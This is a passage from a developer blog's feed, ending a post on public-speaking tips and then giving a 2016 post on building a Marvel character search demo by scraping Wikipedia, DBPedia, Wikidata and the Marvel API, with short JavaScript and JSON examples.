&lt;p&gt;Do not, ever, finish your talk with &amp;quot;I hope you liked it&amp;quot;, it undermine
everything you said. Instead, say &amp;quot;With everything I talked about, you are now
ready to do {whatever you talked about}&amp;quot;.&lt;/p&gt;
&lt;h2&gt;Bonus&lt;/h2&gt;
&lt;p&gt;We also got a list of mantras that you can repeat before going on stage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I do not talk because I want to be loved. I talk because I want to be
understood.&lt;/li&gt;
&lt;li&gt;I know it&#39;s normal to be scared when speaking publicly, and I know this is not
a weakness.&lt;/li&gt;
&lt;li&gt;My internal stress is not visible on the outside. People cannot read inside of
me.&lt;/li&gt;
&lt;li&gt;If I feel the stress coming up, I slow down, I breath, I take my time.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Bonus number two&lt;/h2&gt;
&lt;p&gt;We also had a nice discussion about face-to-face talks. For example when you&#39;re
meeting with customers and you want to explain why something they did is wrong
and why your way is better. You want to convince them of your way. Here are a
few things to keep in mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Never say to the others that they are wrong. Their reasons are perfectly
valid, knowing what they know.&lt;/li&gt;
&lt;li&gt;Being convinced of being right is not enough, you need to also be convincing.&lt;/li&gt;
&lt;li&gt;No-one was ever convinced by an authoritative argument. You have to be
reasonable, and nuanced.&lt;/li&gt;
&lt;li&gt;Give facts, examples, evidences.&lt;/li&gt;
&lt;li&gt;Avoid antagonism. You and them are working toward the same goal: using the
best possible solution. Understand their issues, put yourself in their shoes.&lt;/li&gt;
&lt;li&gt;Say things clearly, do not make them think they may have not understood things
clearly or that you are hiding something.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>Marvel Super-Search</title>
    <link href="https://blog.pixelastic.com/2016/06/01/marvel-super-search/"/>
    <updated>2016-06-01T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2016/06/01/marvel-super-search</id>
    <content type="html">&lt;p&gt;Last December I discovered that &lt;a href=&quot;http://developer.marvel.com/&quot;&gt;Marvel had an API&lt;/a&gt;. Yes, that&#39;s right,
&lt;a href=&quot;http://marvel.com/&quot;&gt;Marvel&lt;/a&gt;, the publisher of all the comics I used to read. I&#39;m a developer,
but I&#39;m also an avid consumer of APIs and love to build things with all the
available data.&lt;/p&gt;
&lt;p&gt;Since I joined &lt;a href=&quot;https://www.algolia.com/&quot;&gt;Algolia&lt;/a&gt;, I&#39;m always looking for nice datasets to build demos
with, and to battle test our &lt;a href=&quot;https://community.algolia.com/instantsearch.js/&quot;&gt;instantsearch.js&lt;/a&gt; library. While Algolia lets
you search in any kind of data (as long as you can convert it to JSON), fiddling
with a dataset full of superheroes is way funnier than any other dataset.&lt;/p&gt;
&lt;iframe class=&quot;youtube-player&quot; type=&quot;text/html&quot; width=&quot;640&quot; height=&quot;390&quot; src=&quot;http://www.youtube.com/embed/SwnP8U6vuWQ&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;You can see the &lt;a href=&quot;https://community.algolia.com/marvel-search/&quot;&gt;full demo here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So I started registering to the &lt;a href=&quot;http://developer.marvel.com/&quot;&gt;Marvel developer program&lt;/a&gt; to get an API key
and started pulling some data. Or actually that was my original plan, but the
developer website was buggy at that time and I could not register at all.&lt;/p&gt;
&lt;p&gt;At first I was disappointed because I really wanted to index all these
characters and superpowers, but I wasn&#39;t going to let that bring me down. I
started rolling up my sleeves and went on the hunt for another interesting
source of data.&lt;/p&gt;
&lt;h2&gt;Wikipedia&lt;/h2&gt;
&lt;p&gt;I obviously quickly ended up on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Main_Page&quot;&gt;Wikipedia&lt;/a&gt;, where I could find a serie
of pages &lt;a href=&quot;https://en.wikipedia.org/wiki/Category:Marvel_Comics_superheroes&quot;&gt;listing all the heroes&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Category:Marvel_Comics_supervillains&quot;&gt;villains&lt;/a&gt; of the Marvel universe
(or actually, universes). I wrote a small &lt;a href=&quot;https://nodejs.org/en/&quot;&gt;node&lt;/a&gt; script using &lt;a href=&quot;https://github.com/lapwinglabs/x-ray&quot;&gt;x-ray&lt;/a&gt; to
get the list of names and matching urls and saved it on my disk.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; xray&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;x-ray&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; x&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; xray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; targetUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;https://en.wikipedia.org/wiki/Category:Marvel_Comics_superheroes&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; selector&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;#mw-pages .mw-category-group li a@href&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;targetUrl&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;selector&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)((&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;urlList&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // urlList is an array of all `href` values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then my journey of extracting data from the Wikipedia begun.&lt;/p&gt;
&lt;p&gt;As I said, I love APIs. And the Wikipedia being the huge project that it is, I
was sure that they had an API to get clean data from each page. They do have an
API for sure, but it only returns the raw dump of the page, including a mix of
HTML and custom Wikipedia markup. This is not formatted at all, so was of no use
to me.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2016-06-01/wikipedia_api.png&quot; alt=&quot;Wikipedia API example&quot;&gt;&lt;/p&gt;
&lt;p&gt;Example taken from &lt;a href=&quot;https://en.wikipedia.org/w/api.php?format=json&amp;amp;action=query&amp;amp;titles=Captain_America&amp;amp;prop=revisions&amp;amp;rvprop=content&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;DBPedia&lt;/h2&gt;
&lt;p&gt;I kept searching and found the &lt;a href=&quot;http://wiki.dbpedia.org/&quot;&gt;DBPedia&lt;/a&gt;, which is an unofficial project of
creating an API of structured data on top of the original API. The people in
this project did an &lt;a href=&quot;https://en.wikipedia.org/wiki/Hercules_(Marvel_Comics)&quot;&gt;Herculean&lt;/a&gt; job of converting the raw markup of my
previous example into nice looking JSON responses.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;abstract&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      &quot;lang&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      &quot;value&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Hercules is a fictional superhero appearing in […]&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;aliases&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;     &quot;lang&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;     &quot;value&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;The Prince of Power, The Lion of Olympus, Harry Cleese, Victor Tegler&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Taken from &lt;a href=&quot;http://dbpedia.org/data/Hercules_(Marvel_Comics.json)&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, the DBPedia is not dynamic, and all the data returned by the API
is frozen in time. Frozen on August 2015 to be exact. It means that all recent
development in the Marvel universe where no taken into account. And worse than
that, some really popular characters did not even had any data attached to them.&lt;/p&gt;
&lt;h2&gt;Infoboxes&lt;/h2&gt;
&lt;p&gt;That&#39;s about that time that I realized that the only information that I actually
needed was the one displayed in the infobox. The infobox is this little white
box on the right side of any Wikipedia page that displays an overview of the
most important facts of the page. In my case it was the name of the character,
its potential aliases, powers, known teams and authors.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2016-06-01/infobox.png&quot; alt=&quot;Infobox example&quot;&gt;&lt;/p&gt;
&lt;p&gt;I did not really care about the rest of the page. What I had in mind for my demo
would be a simple way to search through all characters and filter them based on
exactly those criteria (power, teams, authors) and being able to find them with
any of their aliases. So I needed a way to extract content from the infobox.&lt;/p&gt;
&lt;p&gt;Fortunately, I started this project in node. And node comes with npm, where
there is a module for anything. I quickly found &lt;a href=&quot;https://www.npmjs.com/package/wiki-infobox&quot;&gt;wiki-infobox&lt;/a&gt; that let me
extract a &lt;em&gt;mostly&lt;/em&gt; structured representation of the data in the infobox, by just
feeding it the name of the page.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; infobox&lt;/span&gt;&lt;span style=&quot;color:#F6E05E&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;wiki-infobox&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;infobox&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Hulk_(comics)&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;en&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;err&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //   &quot;character_name&quot;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //     &quot;type&quot;: &quot;text&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //     &quot;value&quot;: &quot;The Incredible Hulk&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //   },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //   &quot;aliases&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //     {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //       &quot;type&quot;: &quot;text&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //         &quot;value&quot;: &quot;&amp;#x3C;br&gt;Green Scar&amp;#x3C;br&gt;World-Breaker&amp;#x3C;br&gt;Jade Giant&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //     },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //     […]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //   ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; //   […]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I say &lt;em&gt;mostly&lt;/em&gt; because the module tries its best to manually parse the raw dump
I showed earlier. And it did that using regexp and trying to handle all possible
edge cases. Overall it worked quite well, but I still had to clean the output to
have something that I could work with. My respect for the team behind DBPedia
grew even more at that time, because extracting formatted data from the initial
dump is clearly not an easy task.&lt;/p&gt;
&lt;p&gt;Using both DBPedia and the data I got from my infoboxes, I started to have an
interesting dataset. One thing that was missing were popularity metrics. I
wanted my heroes to be displayed by order of popularity. If I start typing
&lt;em&gt;iron&lt;/em&gt;, I want &lt;a href=&quot;https://en.wikipedia.org/wiki/Iron_Man&quot;&gt;Iron Man&lt;/a&gt; to be displayed first, not the unknown &lt;a href=&quot;https://en.wikipedia.org/wiki/Iron_Monger&quot;&gt;Iron
Monger&lt;/a&gt; character.&lt;/p&gt;
&lt;h2&gt;Wikidata&lt;/h2&gt;
&lt;p&gt;In order to get this information, I tried the &lt;a href=&quot;https://www.wikidata.org/wiki/Wikidata:Main_Page&quot;&gt;Wikidata API&lt;/a&gt;. This API gave
me a lot of metadata information about each Wikipedia page. But that&#39;s it, only
metadata. Data about the data. Like the name of each page in each language or
the other names that redirect to the same page. This wasn&#39;t exactly what I was
looking for, but let me grab a nice list of aliases for my characters. Thanks to
that data, I could now find &lt;a href=&quot;https://en.wikipedia.org/wiki/Spider-Man&quot;&gt;Spider-Man&lt;/a&gt; with &lt;a href=&quot;https://en.wikipedia.org/wiki/Peter_Parker&quot;&gt;Peter Parker&lt;/a&gt;,
&lt;a href=&quot;https://en.wikipedia.org/wiki/Spidey&quot;&gt;Spidey&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Webhead&quot;&gt;Webhead&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Of course, there&#39;s an npm module to do that easily as well: &lt;a href=&quot;https://www.npmjs.com/package/wikidata-sdk&quot;&gt;wikidata-sdk&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Page views&lt;/h2&gt;
&lt;p&gt;The more I searched for Wikipedia-related APIs, the more I found weird projects.
The last one I used is &lt;a href=&quot;http://stats.grok.se/&quot;&gt;stats.grok.se&lt;/a&gt;, which is the personal project of a
core contributor that exposes as an API, the pageview count of each Wikipedia
article on the past 90 days. This could give me the popularity ranking I was
looking for. The page for &lt;a href=&quot;http://stats.grok.se/json/en/201512/Iron_Man&quot;&gt;Iron Man&lt;/a&gt; was visited way more often than the one
for &lt;a href=&quot;http://stats.grok.se/json/en/201512/Iron_Monger&quot;&gt;Iron Monger&lt;/a&gt;, so I could use that data to rank them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2016-06-01/pageviews.png&quot; alt=&quot;Infobox example&quot;&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, the stats are only valid up to December 2015. After that, the
endpoints were just returning empty results. But what I also discovered is that
those results were Netflix-biased. I mean that at the time I did the crawling,
Netflix just released its &lt;a href=&quot;https://en.wikipedia.org/wiki/Jessica_Jones_(TV_series)&quot;&gt;Jessica Jones&lt;/a&gt; show, so &lt;a href=&quot;https://en.wikipedia.org/wiki/Jessica_Jones&quot;&gt;Jessica Jones&lt;/a&gt; and
all the other characters from the show (&lt;a href=&quot;https://en.wikipedia.org/wiki/Purple_Man&quot;&gt;Purple Man&lt;/a&gt; or [Luke Cage][34]) had
the more important number of pageviews. While the show is great, Jessica Jones
is in no way a more popular character than, say, Spider-Man, Iron Man or Captain
America in the comics.&lt;/p&gt;
&lt;p&gt;My dataset was starting to look promising but there was one information that I
still did not manage to get. Believe me or not, but from all the APIs I tried,
absolutely none of them were able to give me the url of the image used to
display the character. I absolutely needed this image to build a demo that
looked nice, so I coded another small &lt;code&gt;x-ray&lt;/code&gt; script to go scrap every Wikipedia
HTML page and extract the image url. Sometimes the best solution is the more
obvious one.&lt;/p&gt;
&lt;h2&gt;Marvel API&lt;/h2&gt;
&lt;p&gt;It took me a few days to do everything I mentioned above. Just to be sure, I had
a new look at the Marvel developer portal and I discovered that they fixed it.
So I registered for an API key and started exploring their API to see what I
could extract from it.&lt;/p&gt;
&lt;p&gt;First thing to know is that the Marvel API is tedious to use. I had countless
timeouts, infinite redirect loops, empty results, errors and other things that
made the whole experience unpleasant. But in the end it was all worth it because
of the quality of the data you can extract from the API.&lt;/p&gt;
&lt;p&gt;![Daredevil example][35]&lt;/p&gt;
&lt;p&gt;First of all, they do provide url to an avatar image of each hero. And not just
any avatar image, one that is correctly cropped and with all background noise
removed. It also gives you an &lt;em&gt;in-universe&lt;/em&gt; description of each character. So
now I could display that Daredevil was the secret identity of Matt Murdock,
whose father was a boxer. As opposed to simply saying that &amp;quot;Daredevil is a
fictional character from the Marvel universe&amp;quot;, which is not very relevant. And
finally the API gave me the popularity ranking I was looking for. For each
character I have the count of comics, stories and events they were involved in.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Daredevil&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;description&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;Abandoned by his mother, Matt Murdock was raised […]&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;thumbnail&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;http://i.annihil.us/u/prod/marvel/i/mg/6/90/537ba6d49472b/standard_xlarge.jpg&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &quot;comicCount&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 827&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;eventCount&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;serieCount&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;163&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  &quot;storyCount&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1326&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All data I could get from the Marvel API was of much better quality than
anything I could have had from the Wikipedia. Still, each character only had a
few bits of information, so I merged results with my previous Wikipedia
scraping, using fallbacks to always use the best possible value.&lt;/p&gt;
&lt;h2&gt;Marvel website&lt;/h2&gt;
&lt;p&gt;One last drawback of the Marvel API is that their website does not even use it.
You can find on the official Marvel website pages for [each character][36] that
display more information about them that what you could find in the API (things
like their weight or height). The designers at Marvel did an incredible job at
defining a main page color for each character. It means that the [Hulk][37] page
will have a green tint, while it will be purple for [Hawkeye][38] and red for
[Daredevil][39].&lt;/p&gt;
&lt;p&gt;![Color tint example][40]&lt;/p&gt;
&lt;p&gt;They also defined custom background images for major characters. All character
pages have several panels of comics in the background, but for major characters,
all panels are actually taken from real adventures of that character.&lt;/p&gt;
&lt;p&gt;![Background example][41]&lt;/p&gt;
&lt;p&gt;Through tedious scraping and parsing of CSS and JavaScript, I managed to extract
this information for each character, and could use it to improve the UI.&lt;/p&gt;
&lt;h2&gt;Tips &amp;amp; tricks&lt;/h2&gt;
&lt;p&gt;I will give more details about how I build the UI in another post, and don&#39;t
worry it will be way easier than getting the data. Before closing this post I&#39;d
like to share a few tips I learned from this whole process of getting data out
of APIs and websites.&lt;/p&gt;
&lt;p&gt;First of all, you should create isolated and repeatable scripts. In my case my
data was coming from various sources, so I created a script per source. That way
I could just run the DBPedia script again and update only the data coming from
the DBPedia.&lt;/p&gt;
&lt;p&gt;Crawling always comes in two steps. First you have to get the data from the
website or API, then you have to extract and format it the way you want.&lt;/p&gt;
&lt;p&gt;Downloading data from an endpoint is as easy as saving the distant url on disk,
but this can take a long time because you have to pay the price of the whole
download process. On the other end, once you have the file on disk, parsing it
to format its content the way you want it is really fast, but chances are that
you&#39;ll have to rewrite your script dozens of times until you got all the edge
cases right.&lt;/p&gt;
&lt;p&gt;My advice is to always create two different scripts. The first one will blindly
download all the urls and save the output on disk, without doing any formatting
on it. The second one will read the local version and extract the data. Doing
so, you only pay the price of the download once, and can then quickly iterate on
the extraction part.&lt;/p&gt;
&lt;p&gt;I would not commit the temporary files into a git repository, but only the
output formatted files. Whatever the format in which you store the output file,
I would make sure that the way it is saved is consistent across extractions, so
you can easily do a diff between two versions of the file. For JSON, this means
ordering your keys alphabetically.&lt;/p&gt;
&lt;p&gt;Finally, when dealing with external sources, especially the Wikipedia, I&#39;d be
extremely careful on the inputs. You&#39;re basically handling data that has been
written by somebody else. Chances are that they forgot to close a tag, or that
the data will not be correctly formed one way or another. Add scripts to fix the
data for you, and add tests to those scripts so you&#39;re sure that when fixing one
issue you&#39;re not creating a new one. I have more than 300 tests for this
example. It&#39;s a lot, but it&#39;s needed.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This was a really cool project to do. You can see the [demo online][42], or
browse through [the code][43]. Everything is in it, from the import scripts to
the final UI, even including the JSON data files.&lt;/p&gt;
&lt;p&gt;[34]: https://en.wikipedia.org/wiki/Luke_Cage)
[35]: /img/files/2016-06-01/daredevil.jpg
[36]: http://marvel.com/characters/browse
[37]: http://marvel.com/characters/25/hulk
[38]: http://marvel.com/characters/23/hawkeye
[39]: http://marvel.com/characters/11/daredevil
[40]: /img/files/2016-06-01/hulk.png
